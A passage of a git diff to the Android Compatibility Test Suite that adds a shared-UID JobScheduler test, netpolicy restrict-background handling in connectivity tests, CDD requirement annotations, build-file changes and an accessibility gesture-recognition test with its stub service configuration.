+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.jobscheduler.cts.shareduid"
+ android:sharedUserId="android.jobscheduler.cts.shared.uid">
+ <application>
+ </application>
+</manifest>
diff --git a/tests/JobScheduler/shareduid/src/android/jobscheduler/cts/shareduid/Empty.java b/tests/JobScheduler/shareduid/src/android/jobscheduler/cts/shareduid/Empty.java
new file mode 100644
index 0000000..229ed1f
--- /dev/null
+++ b/tests/JobScheduler/shareduid/src/android/jobscheduler/cts/shareduid/Empty.java
@@ -0,0 +1,19 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.jobscheduler.cts.shareduid;
+
+public class Empty {
+}
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
index c08b249..4486c15 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
@@ -28,6 +28,8 @@
import android.net.wifi.WifiManager;
import android.util.Log;
+import com.android.compatibility.common.util.SystemUtil;
+
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
@@ -40,6 +42,12 @@
@TargetApi(21)
public class ConnectivityConstraintTest extends ConstraintTest {
private static final String TAG = "ConnectivityConstraintTest";
+ private static final String RESTRICT_BACKGROUND_GET_CMD =
+ "cmd netpolicy get restrict-background";
+ private static final String RESTRICT_BACKGROUND_ON_CMD =
+ "cmd netpolicy set restrict-background true";
+ private static final String RESTRICT_BACKGROUND_OFF_CMD =
+ "cmd netpolicy set restrict-background false";
/** Unique identifier for the job scheduled by this suite of tests. */
public static final int CONNECTIVITY_JOB_ID = ConnectivityConstraintTest.class.hashCode();
@@ -53,6 +61,8 @@
private boolean mHasTelephony;
/** Track whether WiFi was enabled in case we turn it off. */
private boolean mInitialWiFiState;
+ /** Track whether restrict background policy was enabled in case we turn it off. */
+ private boolean mInitialRestrictBackground;
private JobInfo.Builder mBuilder;
@@ -71,12 +81,20 @@
new JobInfo.Builder(CONNECTIVITY_JOB_ID, kJobServiceComponent);
mInitialWiFiState = mWifiManager.isWifiEnabled();
+ mInitialRestrictBackground = SystemUtil
+ .runShellCommand(getInstrumentation(), RESTRICT_BACKGROUND_GET_CMD)
+ .contains("enabled");
}
@Override
public void tearDown() throws Exception {
mJobScheduler.cancel(CONNECTIVITY_JOB_ID);
+ // Restore initial restrict background data usage policy
+ if (mInitialRestrictBackground) {
+ SystemUtil.runShellCommand(getInstrumentation(), RESTRICT_BACKGROUND_ON_CMD);
+ }
+
// Ensure that we leave WiFi in its previous state.
if (mWifiManager.isWifiEnabled() == mInitialWiFiState) {
return;
@@ -174,6 +192,7 @@
if (!checkDeviceSupportsMobileData()) {
return;
}
+ ensureRestrictBackgroundPolicyOff();
disconnectWifiToConnectToMobile();
kTestEnvironment.setExpectedExecutions(1);
@@ -313,6 +332,16 @@
}
}
+ /**
+ * Ensures that restrict background data usage policy is turned off.
+ * If the policy is on, it interferes with tests that relies on metered connection.
+ */
+ private void ensureRestrictBackgroundPolicyOff() throws Exception {
+ if (mInitialRestrictBackground) {
+ SystemUtil.runShellCommand(getInstrumentation(), RESTRICT_BACKGROUND_OFF_CMD);
+ }
+ }
+
/** Capture the last connectivity change's network type and state. */
private class ConnectivityActionReceiver extends BroadcastReceiver {
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/SharedUidTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/SharedUidTest.java
new file mode 100644
index 0000000..382828f
--- /dev/null
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/SharedUidTest.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.jobscheduler.cts;
+
+import android.annotation.TargetApi;
+import android.app.job.JobInfo;
+import android.app.job.JobScheduler;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+import android.jobscheduler.MockJobService;
+import android.test.AndroidTestCase;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+@TargetApi(27)
+public class SharedUidTest extends AndroidTestCase {
+ private static final String TAG = "SharedUidTest";
+
+ private static final String OTHER_PACKAGE = "android.jobscheduler.cts.shareduid";
+ private static final long BROADCAST_TIMEOUT_SECONDS = 2 * 60;
+
+ /**
+ * Test to make sure disabling a package wouldn't cancel the jobs from other packages that use
+ * the same shared UID.
+ */
+ public void testCancelDisabledPackageJob() throws Exception {
+ final int JOBID = 1122331;
+
+ final JobScheduler js = getContext().getSystemService(JobScheduler.class);
+
+ try {
+ JobInfo ji = new JobInfo.Builder(JOBID,
+ new ComponentName(getContext(), MockJobService.class))
+ .setMinimumLatency(1000 * 60 * 60 * 24 /* 1 day */)
+ .build();
+
+ js.cancel(JOBID);
+
+ assertEquals(JobScheduler.RESULT_SUCCESS, js.schedule(ji));
+
+ // The job should be scheduled.
+ assertNotNull("Job should be registered", js.getPendingJob(JOBID));
+
+ // Create a filter with the loweset priority to wait until the jobscheduelr receives the
+ // intent.
+ final CountDownLatch latch = new CountDownLatch(1);
+
+ final IntentFilter filter = new IntentFilter();
+ filter.addAction(Intent.ACTION_PACKAGE_CHANGED);
+ filter.addDataScheme("package");
+ filter.setPriority(IntentFilter.SYSTEM_LOW_PRIORITY);
+
+ getContext().registerReceiver(new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ if (OTHER_PACKAGE.equals(intent.getData().getSchemeSpecificPart())) {
+ latch.countDown();
+ }
+ }
+ }, filter);
+
+
+ // Disable the other package with the same UID.
+ final PackageManager pm = getContext().getPackageManager();
+ pm.setApplicationEnabledSetting(
+ OTHER_PACKAGE,
+ PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
+ PackageManager.DONT_KILL_APP);
+
+ assertEquals(PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
+ pm.getApplicationEnabledSetting(OTHER_PACKAGE));
+
+ // Wait until our receiver gets the broadcast.
+ assertTrue(latch.await(BROADCAST_TIMEOUT_SECONDS, TimeUnit.SECONDS));
+
+ // Make sure the job hasn't been canceled.
+ assertNotNull("Job shouldn't be canceled", js.getPendingJob(JOBID));
+ } finally {
+ js.cancel(JOBID);
+ }
+ }
+}
diff --git a/tests/ProcessTest/Android.mk b/tests/ProcessTest/Android.mk
index 5611b3b..63ee043 100644
--- a/tests/ProcessTest/Android.mk
+++ b/tests/ProcessTest/Android.mk
@@ -24,6 +24,8 @@
LOCAL_SRC_FILES := $(call all-subdir-java-files)
+LOCAL_STATIC_JAVA_LIBRARIES := legacy-android-test junit compatibility-device-util
+
LOCAL_PACKAGE_NAME := ProcessTests
LOCAL_DEX_PREOPT := false
diff --git a/tests/ProcessTest/src/com/android/cts/process/ProcessTest.java b/tests/ProcessTest/src/com/android/cts/process/ProcessTest.java
index a64a900..8faee83 100644
--- a/tests/ProcessTest/src/com/android/cts/process/ProcessTest.java
+++ b/tests/ProcessTest/src/com/android/cts/process/ProcessTest.java
@@ -25,6 +25,8 @@
import android.content.pm.PackageManager;
import android.test.AndroidTestCase;
+import com.android.compatibility.common.util.CddTest;
+
import com.android.cts.process.activity.NoSharePidActivity;
import com.android.cts.process.activity.SharePidActivity;
import com.android.cts.process.activity.SharePidSubActivity;
@@ -32,6 +34,7 @@
public class ProcessTest extends AndroidTestCase {
private final int WAIT_TIME = 2000;
+ @CddTest(requirement="9.2/C-0-1")
public void testUid() throws Exception {
String enableApp = "com.android.cts.process.shareuidapp";
String disableApp = "com.android.cts.process.noshareuidapp";
@@ -46,6 +49,7 @@
assertNotSame(uid2, uid3);
}
+ @CddTest(requirement="9.2/C-0-1")
public void testPid() throws Exception {
ActivityManager am = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
String shareProcessName = mContext.getPackageName() + ":shareProcess";
diff --git a/tests/acceleration/Android.mk b/tests/acceleration/Android.mk
index e55c0dd..81869bf 100644
--- a/tests/acceleration/Android.mk
+++ b/tests/acceleration/Android.mk
@@ -24,12 +24,13 @@
LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ ctstestrunner compatibility-device-util legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsAccelerationTestCases
diff --git a/tests/acceleration/src/android/acceleration/cts/HardwareAccelerationTest.java b/tests/acceleration/src/android/acceleration/cts/HardwareAccelerationTest.java
index db12db5..1266415 100644
--- a/tests/acceleration/src/android/acceleration/cts/HardwareAccelerationTest.java
+++ b/tests/acceleration/src/android/acceleration/cts/HardwareAccelerationTest.java
@@ -18,11 +18,13 @@
import android.acceleration.HardwareAcceleratedActivity;
+import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.VendorInterfaceTest;
/**
* Test that uses an Activity with hardware acceleration enabled.
*/
+@CddTest(requirement="7.1.4.4/C-0-1,C-0-2")
public class HardwareAccelerationTest
extends BaseAccelerationTest<HardwareAcceleratedActivity> {
diff --git a/tests/acceleration/src/android/acceleration/cts/WindowFlagHardwareAccelerationTest.java b/tests/acceleration/src/android/acceleration/cts/WindowFlagHardwareAccelerationTest.java
index 2070666..42cda30 100644
--- a/tests/acceleration/src/android/acceleration/cts/WindowFlagHardwareAccelerationTest.java
+++ b/tests/acceleration/src/android/acceleration/cts/WindowFlagHardwareAccelerationTest.java
@@ -18,9 +18,12 @@
import android.acceleration.WindowFlagHardwareAcceleratedActivity;
+import com.android.compatibility.common.util.CddTest;
+
/**
* Test that uses an Activity with hardware acceleration enabled.
*/
+@CddTest(requirement="7.1.4.4/C-0-1/C-0-2")
public class WindowFlagHardwareAccelerationTest
extends BaseAccelerationTest<WindowFlagHardwareAcceleratedActivity> {
diff --git a/tests/accessibility/Android.mk b/tests/accessibility/Android.mk
index 7af9d90..4cd7e92 100644
--- a/tests/accessibility/Android.mk
+++ b/tests/accessibility/Android.mk
@@ -27,7 +27,7 @@
LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := test_current
diff --git a/tests/accessibility/AndroidTest.xml b/tests/accessibility/AndroidTest.xml
index 66bde82..5ea8df1 100644
--- a/tests/accessibility/AndroidTest.xml
+++ b/tests/accessibility/AndroidTest.xml
@@ -14,6 +14,7 @@
limitations under the License.
-->
<configuration description="Config for CTS Accessibility test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="framework" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/accessibilityservice/Android.mk b/tests/accessibilityservice/Android.mk
index ff830b6..9a3bbe2 100644
--- a/tests/accessibilityservice/Android.mk
+++ b/tests/accessibilityservice/Android.mk
@@ -18,12 +18,15 @@
LOCAL_MODULE_TAGS := optional
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner mockito-target-minus-junit4 compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ ctstestrunner \
+ mockito-target-minus-junit4 \
+ legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsAccessibilityServiceTestCases
diff --git a/tests/accessibilityservice/AndroidManifest.xml b/tests/accessibilityservice/AndroidManifest.xml
index 329eb15..c40f7aa 100644
--- a/tests/accessibilityservice/AndroidManifest.xml
+++ b/tests/accessibilityservice/AndroidManifest.xml
@@ -65,7 +65,19 @@
<meta-data
android:name="android.accessibilityservice"
- android:resource="@xml/stub_gesture_a11y_service" />
+ android:resource="@xml/stub_gesture_dispatch_a11y_service" />
+ </service>
+
+ <service
+ android:name=".AccessibilityGestureDetectorTest$StubService"
+ android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+ <intent-filter>
+ <action android:name="android.accessibilityservice.AccessibilityService" />
+ <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC" />
+ </intent-filter>
+ <meta-data
+ android:name="android.accessibilityservice"
+ android:resource="@xml/stub_gesture_detect_a11y_service" />
</service>
<activity
diff --git a/tests/accessibilityservice/res/values/strings.xml b/tests/accessibilityservice/res/values/strings.xml
index 3a6b855..2e3d5dd 100644
--- a/tests/accessibilityservice/res/values/strings.xml
+++ b/tests/accessibilityservice/res/values/strings.xml
@@ -139,7 +139,9 @@
<string name="foo_bar_baz">Foo bar baz.</string>
- <string name="stub_gesture_a11y_service_description">com.android.accessibilityservice.cts.StubGestureAccessibilityService</string>
+ <string name="stub_gesture_dispatch_a11y_service_description">com.android.accessibilityservice.cts.StubGestureAccessibilityService</string>
+
+ <string name="stub_gesture_detector_a11y_service_description">com.android.accessibilityservice.cts.StubService</string>
<string name="stub_fprint_a11y_service_description">com.android.accessibilityservice.cts.StubFingerprintGestureAccessibilityService</string>
diff --git a/tests/accessibilityservice/res/xml/stub_gesture_a11y_service.xml b/tests/accessibilityservice/res/xml/stub_gesture_a11y_service.xml
deleted file mode 100644
index 25a55fc..0000000
--- a/tests/accessibilityservice/res/xml/stub_gesture_a11y_service.xml
+++ /dev/null
@@ -1,24 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-
-<!-- Copyright (C) 2016 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
- android:description="@string/stub_gesture_a11y_service_description"
- android:accessibilityEventTypes="typeAllMask"
- android:accessibilityFeedbackType="feedbackGeneric"
- android:accessibilityFlags="flagDefault"
- android:canPerformGestures="true"
- android:notificationTimeout="0" />
diff --git a/tests/accessibilityservice/res/xml/stub_gesture_detect_a11y_service.xml b/tests/accessibilityservice/res/xml/stub_gesture_detect_a11y_service.xml
new file mode 100644
index 0000000..ca3eab2
--- /dev/null
+++ b/tests/accessibilityservice/res/xml/stub_gesture_detect_a11y_service.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<accessibility-service
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:description="@string/stub_gesture_detector_a11y_service_description"
+ android:accessibilityEventTypes="typeAllMask"
+ android:accessibilityFeedbackType="feedbackGeneric"
+ android:accessibilityFlags="flagDefault|flagRequestTouchExplorationMode|flagReportViewIds"
+ android:canRequestTouchExplorationMode="true"
+ android:canRetrieveWindowContent="true"
+ android:canPerformGestures="true" />
diff --git a/tests/accessibilityservice/res/xml/stub_gesture_dispatch_a11y_service.xml b/tests/accessibilityservice/res/xml/stub_gesture_dispatch_a11y_service.xml
new file mode 100644
index 0000000..912c9c4
--- /dev/null
+++ b/tests/accessibilityservice/res/xml/stub_gesture_dispatch_a11y_service.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
+ android:description="@string/stub_gesture_dispatch_a11y_service_description"
+ android:accessibilityEventTypes="typeAllMask"
+ android:accessibilityFeedbackType="feedbackGeneric"
+ android:accessibilityFlags="flagDefault"
+ android:canPerformGestures="true"
+ android:notificationTimeout="0" />
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
index 4e2f897..b14b76a 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
@@ -41,14 +41,11 @@
import java.util.Iterator;
import java.util.List;
-import com.android.compatibility.common.util.CddTest;
-
/**
* This class performs end-to-end testing of the accessibility feature by
* creating an {@link Activity} and poking around so {@link AccessibilityEvent}s
* are generated and their correct dispatch verified.
*/
-@CddTest(requirement="3.10/C-1-2,W-1-1")
public class AccessibilityEndToEndTest extends
AccessibilityActivityTestCase<AccessibilityEndToEndActivity> {
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
new file mode 100644
index 0000000..fd1a9fd
--- /dev/null
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
@@ -0,0 +1,238 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+ * in compliance with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the
+ * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
+ * express or implied. See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accessibilityservice.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Mockito.any;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.verify;
+
+import android.accessibilityservice.AccessibilityService;
+import android.accessibilityservice.GestureDescription;
+import android.accessibilityservice.GestureDescription.StrokeDescription;
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.graphics.Path;
+import android.graphics.Point;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.DisplayMetrics;
+import android.view.WindowManager;
+import android.view.accessibility.AccessibilityEvent;
+import java.util.ArrayList;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.Mock;
+import org.mockito.MockitoAnnotations;
+
+/**
+ * Verify that motion events are recognized as accessibility gestures.
+ */
+@RunWith(AndroidJUnit4.class)
+public class AccessibilityGestureDetectorTest {
+
+ // Constants
+ static final float GESTURE_LENGTH_INCHES = 1.0f;
+ static final long STROKE_MS = 400;
+ static final long GESTURE_DISPATCH_TIMEOUT_MS = 3000;
+ static final long GESTURE_RECOGNIZE_TIMEOUT_MS = 3000;
+
+ // Member variables
+ StubService mService; // Test AccessibilityService that collects gestures.
+ boolean mHasTouchScreen;
+ boolean mScreenBigEnough;
+ int mStrokeLenPxX; // Gesture stroke size, in pixels
+ int mStrokeLenPxY;
+ Point mCenter; // Center of screen. Gestures all start from this point.
+ @Mock AccessibilityService.GestureResultCallback mGestureDispatchCallback;
+
+ @Before
+ public void setUp() throws Exception {
+ MockitoAnnotations.initMocks(this);
+
+ // Check that device has a touch screen.
+ Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+ PackageManager pm = instrumentation.getContext().getPackageManager();
+ mHasTouchScreen = pm.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)
+ || pm.hasSystemFeature(PackageManager.FEATURE_FAKETOUCH);
+ if (!mHasTouchScreen) {
+ return;
+ }
+
+ // Find screen size, check that it is big enough for gestures.
+ // Gestures will start in the center of the screen, so we need enough horiz/vert space.
+ WindowManager windowManager = (WindowManager) instrumentation.getContext()
+ .getSystemService(Context.WINDOW_SERVICE);
+ final DisplayMetrics metrics = new DisplayMetrics();
+ windowManager.getDefaultDisplay().getRealMetrics(metrics);
+ mCenter = new Point((int) metrics.widthPixels / 2, (int) metrics.heightPixels / 2);
+ mStrokeLenPxX = (int)(GESTURE_LENGTH_INCHES * metrics.xdpi);
+ mStrokeLenPxY = (int)(GESTURE_LENGTH_INCHES * metrics.ydpi);
+ mScreenBigEnough = (metrics.widthPixels / (2 * metrics.xdpi) > GESTURE_LENGTH_INCHES)
+ && (metrics.heightPixels / (2 * metrics.ydpi) > GESTURE_LENGTH_INCHES);
+ if (!mScreenBigEnough) {
+ return;
+ }
+
+ // Start stub accessibility service.
+ mService = StubService.enableSelf(instrumentation);
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ if (!mHasTouchScreen || !mScreenBigEnough) {
+ return;
+ }
+ mService.runOnServiceSync(() -> mService.disableSelf());
+ }
+
+ @Test
+ public void testRecognizeGesturePath() {
+ if (!mHasTouchScreen || !mScreenBigEnough) {
+ return;
+ }
+
+ // Compute gesture stroke lengths, in pixels.
+ final int dx = mStrokeLenPxX;
+ final int dy = mStrokeLenPxY;
+
+ // Test recognizing various gestures.
+ testPath(p(-dx, +0), AccessibilityService.GESTURE_SWIPE_LEFT);
+ testPath(p(+dx, +0), AccessibilityService.GESTURE_SWIPE_RIGHT);
+ testPath(p(+0, -dy), AccessibilityService.GESTURE_SWIPE_UP);
+ testPath(p(+0, +dy), AccessibilityService.GESTURE_SWIPE_DOWN);
+
+ testPath(p(-dx, +0), p(+0, +0), AccessibilityService.GESTURE_SWIPE_LEFT_AND_RIGHT);
+ testPath(p(-dx, +0), p(-dx, -dy), AccessibilityService.GESTURE_SWIPE_LEFT_AND_UP);
+ testPath(p(-dx, +0), p(-dx, +dy), AccessibilityService.GESTURE_SWIPE_LEFT_AND_DOWN);
+
+ testPath(p(+dx, +0), p(+0, +0), AccessibilityService.GESTURE_SWIPE_RIGHT_AND_LEFT);
+ testPath(p(+dx, +0), p(+dx, -dy), AccessibilityService.GESTURE_SWIPE_RIGHT_AND_UP);
+ testPath(p(+dx, +0), p(+dx, +dy), AccessibilityService.GESTURE_SWIPE_RIGHT_AND_DOWN);
+
+ testPath(p(+0, -dy), p(-dx, -dy), AccessibilityService.GESTURE_SWIPE_UP_AND_LEFT);
+ testPath(p(+0, -dy), p(+dx, -dy), AccessibilityService.GESTURE_SWIPE_UP_AND_RIGHT);
+ testPath(p(+0, -dy), p(+0, +0), AccessibilityService.GESTURE_SWIPE_UP_AND_DOWN);
+
+ testPath(p(+0, +dy), p(-dx, +dy), AccessibilityService.GESTURE_SWIPE_DOWN_AND_LEFT);
+ testPath(p(+0, +dy), p(+dx, +dy), AccessibilityService.GESTURE_SWIPE_DOWN_AND_RIGHT);
+ testPath(p(+0, +dy), p(+0, +0), AccessibilityService.GESTURE_SWIPE_DOWN_AND_UP);
+ }
+
+ /** Convenient short alias to make a Point. */
+ private static Point p(int x, int y) {
+ return new Point(x, y);
+ }
+
+ /** Test recognizing path from PATH_START to PATH_START+delta. */
+ private void testPath(Point delta, int gestureId) {
+ testPath(delta, null, gestureId);
+ }
+
+ /** Test recognizing path from PATH_START to PATH_START+delta1 to PATH_START+delta2. */
+ private void testPath(Point delta1, Point delta2, int gestureId) {
+ // Create gesture motions.
+ int numPathSegments = (delta2 == null) ? 1 : 2;
+ long pathDurationMs = numPathSegments * STROKE_MS;
+ GestureDescription gesture = new GestureDescription.Builder()
+ .addStroke(new StrokeDescription(
+ linePath(mCenter, delta1, delta2), 0, pathDurationMs, false))
+ .build();
+
+ // Dispatch gesture motions.
+ // Use AccessibilityService.dispatchGesture() instead of Instrumentation.sendPointerSync()
+ // because accessibility services read gesture events upstream from the point where
+ // sendPointerSync() injects events.
+ mService.clearGestures();
+ mService.runOnServiceSync(() ->
+ mService.dispatchGesture(gesture, mGestureDispatchCallback, null));
+ verify(mGestureDispatchCallback,
+ timeout(GESTURE_DISPATCH_TIMEOUT_MS).atLeastOnce())
+ .onCompleted(any());
+
+ // Wait for gesture recognizer, and check recognized gesture.
+ mService.waitUntilGesture();
+ assertEquals(1, mService.getGesturesSize());
+ assertEquals(gestureId, mService.getGesture(0));
+ }
+
+ /** Create a path from startPoint, moving by delta1, then delta2. (delta2 may be null.) */
+ Path linePath(Point startPoint, Point delta1, Point delta2) {
+ Path path = new Path();
+ path.moveTo(startPoint.x, startPoint.y);
+ path.lineTo(startPoint.x + delta1.x, startPoint.y + delta1.y);
+ if (delta2 != null) {
+ path.lineTo(startPoint.x + delta2.x, startPoint.y + delta2.y);
+ }
+ return path;
+ }
+
+ /** Acessibility service stub, which will collect recognized gestures. */
+ public static class StubService extends InstrumentedAccessibilityService {
+
+ private ArrayList<Integer> mCollectedGestures = new ArrayList();
+
+ public static StubService enableSelf(Instrumentation instrumentation) {
+ return InstrumentedAccessibilityService.enableService(
+ instrumentation, StubService.class);
+ }
+
+ @Override
+ protected boolean onGesture(int gestureId) {
+ synchronized (mCollectedGestures) {
+ mCollectedGestures.add(gestureId);
+ mCollectedGestures.notifyAll(); // Stop waiting for gesture.
+ }
+ return true;
+ }
+
+ public void clearGestures() {
+ synchronized (mCollectedGestures) {
+ mCollectedGestures.clear();
+ }
+ }
+
+ public int getGesturesSize() {
+ synchronized (mCollectedGestures) {
+ return mCollectedGestures.size();
+ }
+ }
+
+ public int getGesture(int index) {
+ synchronized (mCollectedGestures) {
+ return mCollectedGestures.get(index);
+ }
+ }
+
+ /** Wait for onGesture() to collect next gesture. */
+ public void waitUntilGesture() {
+ synchronized (mCollectedGestures) {
+ if (mCollectedGestures.size() > 0) {
+ return;
+ }
+ try {
+ mCollectedGestures.wait(GESTURE_RECOGNIZE_TIMEOUT_MS);
+ } catch (InterruptedException e) {
+ throw new RuntimeException(e);
+ }
+ }
+ }
+ }
+
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
index afa1d2c..aa30f77 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
@@ -320,7 +320,6 @@
final PointF magRegionCenterPoint = new PointF();
magnificationService.runOnServiceSync(() -> {
magnificationController.reset(false);
- magnificationController.getMagnificationRegion();
magRegionCenterPoint.set(magnificationController.getCenterX(),
magnificationController.getCenterY());
});
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityMagnificationTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityMagnificationTest.java
index 122c9b8..dc4a1c9 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityMagnificationTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityMagnificationTest.java
@@ -21,6 +21,8 @@
import android.accessibilityservice.AccessibilityServiceInfo;
import android.app.Instrumentation;
import android.content.Context;
+import android.content.res.Resources;
+import android.graphics.Rect;
import android.graphics.Region;
import android.provider.Settings;
import android.test.InstrumentationTestCase;
@@ -83,13 +85,11 @@
public void testSetScaleAndCenter() {
final MagnificationController controller = mService.getMagnificationController();
- final WindowManager wm = (WindowManager) mInstrumentation.getContext().getSystemService(
- Context.WINDOW_SERVICE);
- final DisplayMetrics metrics = new DisplayMetrics();
- wm.getDefaultDisplay().getRealMetrics(metrics);
+ final Region region = controller.getMagnificationRegion();
+ final Rect bounds = region.getBounds();
final float scale = 2.0f;
- final float x = metrics.widthPixels / 4.0f;
- final float y = metrics.heightPixels / 4.0f;
